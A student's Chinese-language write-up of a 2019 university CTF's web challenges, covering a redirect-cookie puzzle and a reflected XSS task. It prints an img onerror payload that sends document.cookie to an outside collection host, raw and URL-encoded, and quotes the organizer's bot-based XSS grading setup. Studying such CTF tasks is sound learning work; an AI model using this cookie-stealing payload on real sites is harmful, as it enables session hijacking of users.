2019-5 SCUCTF 赛后学习
这次比赛几乎又爆零了。。。主要是自己学的东西太少了。。。希望今年12月份新生赛不要这么菜了
这篇文章主要是总结一下在这些赛题中,自己不会的/不熟悉的考察点。
WEB
一.来了老弟
wp写的是点进去url发生了变化,自己当时没观察到这个,然后直接点进去应该是看不出来的。
不过burp抓包下来是可以的GET /didi/ HTTP/1.1
这是抓包下来的请求头,可以看到确实一开始是didi而不是/didi/secret.php
。 后来查了一下,确实是,apache的默认入口文件是 index.php 但是出现的是secre.php
然后在url里修改成index.php访问一下,发现又变成了secre.php
打开f12的 网络 这个选项 发现 index.php页面有一个302跳转 点击这个页面 查看cookie 发现一串base64
解码即可。
感觉自己之前都没怎么用过f12里 网络这个功能去看 都是直接抓包。。。这个还是很有用的
二.简单的xss
这题我简直不懂为什么我当时没做出来。。。看来比赛做题和练习。。确实感觉不太一样
http://120.78.185.175:5000/hachp1/love/index.php?greet=Hello
点进去发现是get穿参 页面上也有一个hello 把参数改一下改成halo 发现被原样传回到页面上来,是一个反射性的xss
http://120.78.185.175:5000/hachp1/love/index.php?greet=<script>alert("aaa")</script>
发现弹窗,构造payload 把自己的cookie弹上去
?greet=<img/src=x onerror="a='http://120.78.185.175/xss/myxss?s=' document.cookie;new Image().src=a">
这个payload是用的img onerror的一个性质,提交到xss平台上
(提交的时候是编码过的)
?greet=%3Cimg/src=x%20onerror=%22a=%27http://120.78.185.175/xss/myxss?s=%27%2Bdocument.cookie;new%20Image().src=a%22%3E
然后f12网络里面找img文件的一个cookie
提交到那个专门的提交页面上 xss平台就看到flag了
但是我并不知道为什么要把我的payload提交到xss平台上。。。我先看看学长的三道xss综述怎么说的= =
三道 XSS 总括¶
1.此次比赛的三道 XSS 是本着不出脑洞的想法出的,题目本身没有绕太多圈圈,但是在比赛环境下没有考虑到资源占用过多和僵尸程序的情况,导致网页巨卡无比和不能打出 flag 的现象。此外,由于出题时各出题人没有协商 flag 格式的问题,我录入 docker 的时候 flag 格式就为fl4g{},最后上题的时候又要求scuctf{},可能坑了一些人,做题体验并不好,在这里表示抱歉
2.三道题都是同一个提交平台,使用子路径作为限制(推荐阅读:https://www.cnblogs.com/fsjohnhuang/archive/2011/11/22/2258999.html),以达到三题分离但是又使用同一个 bot 的效果。其实在这里我还是挺怕出现简单题打到困难题的 flag 的非预期解(虽然心理上还是比较肯定不会出这种情况 XD)
3.所以,三道题都是将包含打 cookie payload 的 url 交给提交平台,平台 robot 使用 firefox 去访问你提交的 url,从而获取到在 cookie 里的 flag
4.吐槽:xss bot 真的坑,花了很长时间来调 bot,结果比赛的时候还是出问题。。。果然是从入坑到放弃:)
顺便推荐了一篇文章。 理解cookie的path和domain属性
(然而还是似懂非懂其实= =